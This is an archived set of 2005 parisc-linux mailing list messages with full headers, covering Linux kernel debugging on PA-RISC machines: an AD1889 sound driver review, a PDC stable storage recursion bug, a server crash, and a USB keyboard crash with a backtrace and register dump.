> Attached is a patch against 2.6.13-rc4 providing support for Analog
> Devices AD1889 PCI Sound chip, which is especially found on some HP
> PA-RISC machines.

I don't actually have this hardware :-), but the docs don't mention
any dependency between the count registers (BC, CC) and the interrupt
count registers (IC, IB).

So wouldn't it be possible to put the ALSA buffer size into the count
registers and the ALSA period size into the interrupt count registers?

This would make the interrupt handler much simpler, as it wouldn't
have to reprogram any registers.  And it would solve the problem that
the DMA accesses for one period go beyond the buffer when the number
of periods per buffer is not an integer.


Regards,
Clemens

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [BUG] PDC stable storage broken on 2.6.13-rc3-pa1
Date: Fri, 05 Aug 2005 18:25:58 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <42F33EB6.5060006@tausq.org>
References: <20050803183614.GB16029@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623882 15993 80.91.229.3 (22 Nov 2014 02:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Aug 2005 10:26:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 05 Aug 2005 12:26:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1372C7D721;
	Fri,  5 Aug 2005 04:25:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09176-04; Fri, 5 Aug 2005 04:25:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5383A7D713;
	Fri,  5 Aug 2005 04:25:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 784547D711
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 04:25:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09119-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Aug 2005 04:25:54 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id B848F7D706
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 04:25:53 -0600 (MDT)
Original-Received: from rccomp.stl.com.hk ([192.168.100.200] helo=[127.0.0.1])
	by stl.com.hk with esmtp (Exim 4.50)
	id 1E0zLm-0005im-3a; Fri, 05 Aug 2005 18:22:50 +0800
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Accept-Language: en-us, en
In-Reply-To: <20050803183614.GB16029@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6VuBYl0XeSEkfr6WZHQhaXN1IGRvb4C5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23025

> PDC stable storage driver panics/hpmc's most/all parisc boxen
> with the current 2.6.13-rc3-pa1 kernels.
> 
> Here is the backtrace and console output for c3000.
> I won't be able to chase this today.
> Maybe this weekend if no one else gets to it first.

I think that the problem is that we have an infinite recursion that is
trashing the stack.

This is happening in hwpath_to_device() which is called by
pdcspath_fetch(). hwpath_to_device tranverses the device tree. It looks
like it recurses forever, eventually filling up the stack and trashing
stuff.

Not yet sure why, nor do I really understand how the device tree
iterators work. Perhaps somebody else who understands this better will
be able to fix it quickly ;-)

randolph

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Fri, 5 Aug 2005 15:53:11 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20050805195306.GS9703@systemhalted.org>
References: <1123204638.3628.132.camel@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623882 15995 80.91.229.3 (22 Nov 2014 02:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dann frazier <dannf@hp.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Aug 2005 19:53:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx054) with SMTP; 05 Aug 2005 21:53:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4EDD7D700;
	Fri,  5 Aug 2005 13:53:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12754-06; Fri, 5 Aug 2005 13:53:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B3737D702;
	Fri,  5 Aug 2005 13:53:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EB3597D6FF
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 13:53:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12705-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Aug 2005 13:53:25 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 632AD7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 13:53:25 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1E18Fj-0004ci-00; Fri, 05 Aug 2005 15:53:11 -0400
Content-Disposition: inline
In-Reply-To: <1123204638.3628.132.camel@krebs.dannf>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6qaBYjVdeSEkRL6WZHQhaXN1IGRvb4Aa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23026

On Thu, Aug 04, 2005 at 07:17:18PM -0600, dann frazier wrote:
> fyi, paer.debian.org was reported down.  The GSP's console log
> follows.  
> 
> dannf@paer:~$ uname -a
> Linux paer 2.6.8-2-64 #1 Tue Feb 8 05:54:00 EST 2005 parisc64 GNU/Linux

No register dump? That is the most interesting and usefull piece of
information :(

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Fri, 05 Aug 2005 14:47:18 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1123274838.9036.57.camel@krebs.dannf>
References: <1123204638.3628.132.camel@krebs.dannf>
	<20050805195306.GS9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623882 16001 80.91.229.3 (22 Nov 2014 02:38:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Aug 2005 20:45:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 05 Aug 2005 22:45:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 24CE17D665;
	Fri,  5 Aug 2005 14:45:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13325-09; Fri, 5 Aug 2005 14:45:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F3637D66D;
	Fri,  5 Aug 2005 14:45:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 966797D659
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 14:45:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13270-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Aug 2005 14:45:09 -0600 (MDT)
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by free.linux.hp.com (Postfix) with ESMTP id 181237D658
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 14:45:09 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel6.hp.com (Postfix) with ESMTP id AC162C725;
	Fri,  5 Aug 2005 16:45:08 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 260CB39917; Fri,  5 Aug 2005 20:45:03 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id E9D551340F2;
	Fri,  5 Aug 2005 14:45:02 -0600 (MDT)
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18685-08; Fri, 5 Aug 2005 14:45:01 -0600 (MDT)
Original-Received: from krebs.dannf (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 8F2661340D4;
	Fri,  5 Aug 2005 14:45:01 -0600 (MDT)
In-Reply-To: <20050805195306.GS9703@systemhalted.org>
X-Mailer: Evolution 2.2.3 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at ldl.fc.hp.com
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iqqBYhYjeSEkS76WZHQhaXN1IGRvb0BT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23027

On Fri, 2005-08-05 at 15:53 -0400, Carlos O'Donell wrote:
> On Thu, Aug 04, 2005 at 07:17:18PM -0600, dann frazier wrote:
> > fyi, paer.debian.org was reported down.  The GSP's console log
> > follows.  
> > 
> > dannf@paer:~$ uname -a
> > Linux paer 2.6.8-2-64 #1 Tue Feb 8 05:54:00 EST 2005 parisc64 GNU/Linux
> 
> No register dump? That is the most interesting and usefull piece of
> information :(

Yeah; we really should be logging the console while its acting up...
I'll try to set that up.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] paer.debian.org crash in ext3_write_inode()
Date: Fri, 5 Aug 2005 23:14:32 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20050806051432.GA21031@colo.lackof.org>
References: <1123204638.3628.132.camel@krebs.dannf>
	<20050805195306.GS9703@systemhalted.org>
	<1123274838.9036.57.camel@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623883 16004 80.91.229.3 (22 Nov 2014 02:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
 parisc-linux@lists.parisc-linux.org
To: dann frazier <dannf@hp.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 05:09:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 06 Aug 2005 07:09:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC6DE7D7F1;
	Fri,  5 Aug 2005 23:09:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16059-09; Fri, 5 Aug 2005 23:09:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3000F7D7F2;
	Fri,  5 Aug 2005 23:09:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D7B427D7B4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 23:09:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16059-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 5 Aug 2005 23:09:23 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 522D27D7B1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  5 Aug 2005 23:09:23 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2CCD8360064;
	Fri,  5 Aug 2005 23:14:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20272-09; Fri, 5 Aug 2005 23:14:32 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D7027360055; Fri,  5 Aug 2005 23:14:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1123274838.9036.57.camel@krebs.dannf>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XCOGYj11eSEkaL6WZHQhaXN1IGRvb8B6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23028

On Fri, Aug 05, 2005 at 02:47:18PM -0600, dann frazier wrote:
> > No register dump? That is the most interesting and usefull piece of
> > information :(
> 
> Yeah; we really should be logging the console while its acting up...
> I'll try to set that up.

pear is an a500?

If so, "cl" from the GSP will dump the last couple hundred lines
of console output.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sven Schnelle <svens@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] USB Keyboard problems on C3600
Date: Sat, 06 Aug 2005 11:54:41 +0200
Lines: 112
Approved: news@gmane.org
Message-ID: <874qa39yqm.fsf@deprecated.intranet.astaro.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1562706737=="
X-Trace: ger.gmane.org 1416623883 16008 80.91.229.3 (22 Nov 2014 02:38:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Aug 2005 09:55:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 06 Aug 2005 11:55:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0122C7D6CD;
	Sat,  6 Aug 2005 03:55:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18150-01; Sat, 6 Aug 2005 03:54:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B4277D6B2;
	Sat,  6 Aug 2005 03:54:58 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 095F67D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 03:54:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17990-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 6 Aug 2005 03:54:54 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 147C17D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Aug 2005 03:54:53 -0600 (MDT)
Original-Received: (qmail invoked by alias); 06 Aug 2005 09:54:53 -0000
Original-Received: from i3ED6E11D.versanet.de (EHLO deprecated.intranet.astaro.de)
	[62.214.225.29]
	by mail.gmx.net (mp033) with SMTP; 06 Aug 2005 11:54:53 +0200
X-Authenticated: #21330363
Original-Received: from [127.0.0.1] (helo=deprecated.intranet.astaro.de)
	by deprecated.intranet.astaro.de with esmtp (Exim 4.52)
	id 1E1LO8-00052F-3i
	for parisc-linux@lists.parisc-linux.org; Sat, 06 Aug 2005 11:54:44 +0200
User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ru2GYvVzeSEke76WZHQhaXN1IGRvbwBT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23029

--===============1562706737==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha1; protocol="application/pgp-signature"

--=-=-=
Content-Transfer-Encoding: quoted-printable

Hi,

i have a MAC USB Keyboard, which won't work with the builtin USB
Controller of the C3600. If i connect it, i get this error messages:

usb 1-2: new full speed USB device using ohci_hcd and address 2
usb 1-2: device descriptor read/64, error -238
usb 1-2: device descriptor read/64, error -238
usb 1-2: new full speed USB device using ohci_hcd and address 3
usb 1-2: device descriptor read/64, error -238
usb 1-2: device descriptor read/64, error -238
usb 1-2: new full speed USB device using ohci_hcd and address 4
usb 1-2: device not accepting address 4, error -238

Now i use a PCI USB Controller, and with this the keyboard is working
fine, the only bad thing is that the Kernel crashes after 1-2h:

Backtrace:
 [<0012a8f4>] ohci_hub_status_data+0xa4/0x1dc [ohci_hcd]
 [<00148d64>] usb_hcd_poll_rh_status+0x4c/0x174 [usbcore]
 [<1013dea8>] run_timer_softirq+0x144/0x240
 [<10137ec4>] __do_softirq+0x140/0x194
 [<101046e0>] do_softirq+0x58/0x64
 [<1010d068>] intr_return+0x0/0x24
 [<10113eb0>] cpu_idle+0x20/0x30
 [<10182744>] dentry_open+0x120/0x380
 [<10113ebc>] cpu_idle+0x2c/0x30
 [<1054c8f4>] start_kernel+0x268/0x2ac


High Priority Machine Check (HPMC): Code=3D1 regs=3D10470080 (Addr=3D000000=
00)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 00126000 0012a8f4 4fe8e0c8
r04-07  4fe8e000 4fe8e000 105404c8 0000000f
r08-11  10540448 1046d010 00200200 1053c010
r12-15  00000000 ffffffff 00000000 f0400004
r16-19  10540140 f000017c f0000174 000000c0
r20-23  00000080 fb006048 0012a850 10eeaa08
r24-27  00000004 105404c8 4fe8e0c8 10464010
r28-31  fb006000 001404e8 105405c0 00148d64
sr0-3   00000000 00000000 00000000 0000e529
sr4-7   00000000 00000000 00000000 00000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000011111
FPER1: 00000000
